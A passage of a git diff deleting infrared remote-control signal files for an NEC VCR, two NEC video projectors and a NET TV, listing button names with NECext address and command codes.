100644 index 992f19287..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: TV_VOLUME_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: TV_VOL_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: TV_VOLUME_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: TV_VOL_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: TV_TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: TV_ANT/AUX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: TV_1_(AM/SUN) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: TV_2_(PM/MON) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: TV_3_(TUE) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: TV_4_(WED) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: TV_5_(THU) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: TV_6_(FRI) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: TV_7_(SAT) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: TV_TIMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: TV_RECALL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir deleted file mode 100644 index 20bb6fde3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir +++ /dev/null @@ -1,770 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 03 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 04 00 00 00 -# -name: RGB1 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 04 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 05 00 00 00 -# -name: RGB2 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 05 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 06 00 00 00 -# -name: SET_UP_(ON_SCRN_MGR) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 06 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 07 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: ZOOM_W -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 09 00 00 00 -# -name: ZOOM_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 09 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 09 00 00 00 -# -name: ZOOM_T -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0A 00 00 00 -# -name: ZOOM_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0A 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0A 00 00 00 -# -name: FOCUS_+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0B 00 00 00 -# -name: FOCUS_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0B 00 00 00 -# -name: FOCUS_- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0C 00 00 00 -# -name: FOCUS_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0C 00 00 00 -# -name: CONTRAST_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0D 00 00 00 -# -name: CONTRAST_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0E 00 00 00 -# -name: BRIGHT_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0F 00 00 00 -# -name: BRIGHT_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 10 00 00 00 -# -name: DISPLAY_MUTE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 11 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 14 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 14 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 16 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 17 00 00 00 -# -name: MENU_L-CLICK_(UNDER) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 17 00 00 00 -# -name: 1_(ABC) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 18 00 00 00 -# -name: 2_(DEF) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 19 00 00 00 -# -name: 3_(GHI) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 1A 00 00 00 -# -name: 4_(JKL) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 1B 00 00 00 -# -name: 5_(MNO) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 1C 00 00 00 -# -name: 6_(PQR) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 1D 00 00 00 -# -name: 7_(STU) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 1E 00 00 00 -# -name: 8_(VWX) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 1F 00 00 00 -# -name: POSITION_MOUSE_NE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 21 00 00 00 -# -name: POSITION_MOUSE_NW -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 22 00 00 00 -# -name: POSITION_MOUSE_SE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 23 00 00 00 -# -name: POSITION_MOUSE_WEST -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 24 00 00 00 -# -name: POSITION_(OFF) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 25 00 00 00 -# -name: 9_(YZ-) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 41 00 00 00 -# -name: FOCUS_PAT. -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 42 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 43 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 43 00 00 00 -# -name: KEY_LOCK -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 44 00 00 00 -# -name: MUTE_AUDIO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 45 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 46 00 00 00 -# -name: MENU_(ON_SCREEN_MGR) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 46 00 00 00 -# -name: MUTE_PICTURE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 47 00 00 00 -# -name: PICTURE_MUTE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 47 00 00 00 -# -name: PIC-MUTE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 47 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 48 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 48 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 49 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 49 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4C 00 00 00 -# -name: EXPAND -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4D 00 00 00 -# -name: RGB_MODE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4D 00 00 00 -# -name: >+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5C 00 00 00 -# -name: +_(ON_SCREEN_MGR) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5C 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5C 00 00 00 -# -name: MENU_MOUSE_EAST_(+) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5C 00 00 00 -# -name: <- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5D 00 00 00 -# -name: -_(ON_SCREEN_MGR) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5D 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5D 00 00 00 -# -name: MENU_MOUSE_WEST_(-) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5D 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5E 00 00 00 -# -name: POSITION_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5E 00 00 00 -# -name: MENU_MOUSE_NORTH -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5E 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5F 00 00 00 -# -name: POSITION_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5F 00 00 00 -# -name: MENU_MOUSE_SOUTH -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5F 00 00 00 -# -name: CTL_VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 83 00 00 00 -# -name: CTL_RGB -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 84 00 00 00 -# -name: POSITION_> -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 84 00 00 00 -# -name: CTL_S-VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 85 00 00 00 -# -name: POSITION_< -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 85 00 00 00 -# -name: CTL_SET_UP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 86 00 00 00 -# -name: 2X/4X -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 87 00 00 00 -# -name: CTL_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 88 00 00 00 -# -name: CTL_ZOOM_W -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 89 00 00 00 -# -name: MAGNIFY_REDUCE_+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 89 00 00 00 -# -name: CTL_ZOOM_T -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8A 00 00 00 -# -name: MAGNIFY_REDUCE_- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8A 00 00 00 -# -name: CTL_FOCUS_+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8B 00 00 00 -# -name: CTL_FOCUS_- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8C 00 00 00 -# -name: CTL_CONTRAST_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8D 00 00 00 -# -name: CTL_CONTRAST_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8E 00 00 00 -# -name: CTL_BRIGHT_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8F 00 00 00 -# -name: CTL_BRIGHT_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 90 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 91 00 00 00 -# -name: CTL_CLEAR -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 95 00 00 00 -# -name: CTL_DISPLAY -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 96 00 00 00 -# -name: CTL_ENTER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 97 00 00 00 -# -name: CTL_1_(ABC) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 98 00 00 00 -# -name: CTL_2_(DEF) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 99 00 00 00 -# -name: CTL_3_(GHI) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 9A 00 00 00 -# -name: CTL_4_(JKL) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 9B 00 00 00 -# -name: CTL_5_(MNO) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 9C 00 00 00 -# -name: CTL_6_(PQR) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 9D 00 00 00 -# -name: CTL_7_(STU) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 9E 00 00 00 -# -name: CTL_8_(VWX) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 9F 00 00 00 -# -name: CTL_9_(YZ-) -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C0 00 00 00 -# -name: CTL_0 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C1 00 00 00 -# -name: CTL_FOCUS_PAT. -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C2 00 00 00 -# -name: CTL_NORMAL -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C3 00 00 00 -# -name: CTL_KEY_LOCK -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C4 00 00 00 -# -name: CTL_MUTE_AUDIO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C5 00 00 00 -# -name: CTL_MENU -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C6 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C6 00 00 00 -# -name: CTL_MUTE_PICTURE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C7 00 00 00 -# -name: CTL_VOLUME_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C8 00 00 00 -# -name: CTL_VOLUME_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C9 00 00 00 -# -name: CTL_EXPAND -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: CD 00 00 00 -# -name: CTL_>+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: DC 00 00 00 -# -name: POSITION_MOUSE_EAST -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: DC 00 00 00 -# -name: CTL_<- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: DD 00 00 00 -# -name: POSITION_MOUSE_SW -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: DD 00 00 00 -# -name: CTL_^ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: DE 00 00 00 -# -name: POSITION_MOUSE_NORTH -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: DE 00 00 00 -# -name: CTL_V -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: DF 00 00 00 -# -name: POSITION_MOUSE_SOUTH -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir deleted file mode 100644 index 9d824c864..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir +++ /dev/null @@ -1,518 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: R -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 00 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 00 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 02 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 02 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 06 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 07 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 08 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 08 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 09 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 09 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 0B 00 00 00 -# -name: COARSE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 0E 00 00 00 -# -name: FINE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 0F 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 12 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 14 00 00 00 -# -name: STATIC -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 15 00 00 00 -# -name: STATIC -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 15 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 17 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 18 00 00 00 -# -name: 1_(ABC) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 18 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 19 00 00 00 -# -name: 2_(DEF) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 19 00 00 00 -# -name: 3_(GHI) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1A 00 00 00 -# -name: 4_(JKL) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1B 00 00 00 -# -name: RGB1 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1C 00 00 00 -# -name: 5_(MNO) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1C 00 00 00 -# -name: RGB2 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1D 00 00 00 -# -name: 6_(PQR) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1D 00 00 00 -# -name: RGB3 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1E 00 00 00 -# -name: 7_(STU) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1E 00 00 00 -# -name: 8_(VWX) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1F 00 00 00 -# -name: SEL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 40 00 00 00 -# -name: 9_(YZ/) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 40 00 00 00 -# -name: BEAM -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 41 00 00 00 -# -name: 10_*.. -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 41 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 42 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 43 00 00 00 -# -name: SOUND_MUTE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 45 00 00 00 -# -name: PICTURE_^ -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 46 00 00 00 -# -name: PICTURE_V -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 47 00 00 00 -# -name: PICTURE_MUTE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 47 00 00 00 -# -name: COLOR_^ -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 48 00 00 00 -# -name: COLOR_V -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 49 00 00 00 -# -name: BRIGHT_^ -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4A 00 00 00 -# -name: CAPTION -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4A 00 00 00 -# -name: BRIGHT_V -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4B 00 00 00 -# -name: TINT_^ -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4C 00 00 00 -# -name: TINT_V -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4D 00 00 00 -# -name: SHARPNESS_^ -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4E 00 00 00 -# -name: SHARPNESS_V -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4F 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5B 00 00 00 -# -name: ^_(UP) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5C 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5C 00 00 00 -# -name: V_(DOWN) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5D 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5D 00 00 00 -# -name: >_(RIGHT) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5E 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5E 00 00 00 -# -name: <_(LEFT) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5F 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5F 00 00 00 -# -name: CTL_R -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 80 00 00 00 -# -name: CTL_B -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 82 00 00 00 -# -name: CTL_OPERATE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 86 00 00 00 -# -name: CTL_DISPLAY -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 87 00 00 00 -# -name: CTL_POWER_ON -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 88 00 00 00 -# -name: CTL_END -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 89 00 00 00 -# -name: CTL_POWER_OFF -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 94 00 00 00 -# -name: CTL_STATIC -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 95 00 00 00 -# -name: CTL_ENTER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 97 00 00 00 -# -name: CTL_1_(ABC) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 98 00 00 00 -# -name: CTL_2_(DEF) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 99 00 00 00 -# -name: CTL_3_(GHI) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 9A 00 00 00 -# -name: CTL_4_(JKL) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 9B 00 00 00 -# -name: CTL_5_(MNO) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 9C 00 00 00 -# -name: CTL_6_(PQR) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 9D 00 00 00 -# -name: CTL_7_(STU) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 9E 00 00 00 -# -name: CTL_8_(VWX) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 9F 00 00 00 -# -name: CTL_9_(YZ/) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: C0 00 00 00 -# -name: CTL_10_(*..) -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: C1 00 00 00 -# -name: CTL_SOUND_MUTE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: C5 00 00 00 -# -name: CTL_PICTURE_MUTE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: C7 00 00 00 -# -name: CTL_CAPTION -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: CA 00 00 00 -# -name: CTL_NORMAL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: DB 00 00 00 -# -name: CTL_^ -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: DC 00 00 00 -# -name: CTL_V -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: DD 00 00 00 -# -name: CTL_> -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: DE 00 00 00 -# -name: CTL_< -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir deleted file mode 100644 index 859196f20..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: CH/TIME_SET_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: CH/TIME_SET_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: TV/CATV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: CURSOR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: TV/AV(VGA) -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 02 00 00 00 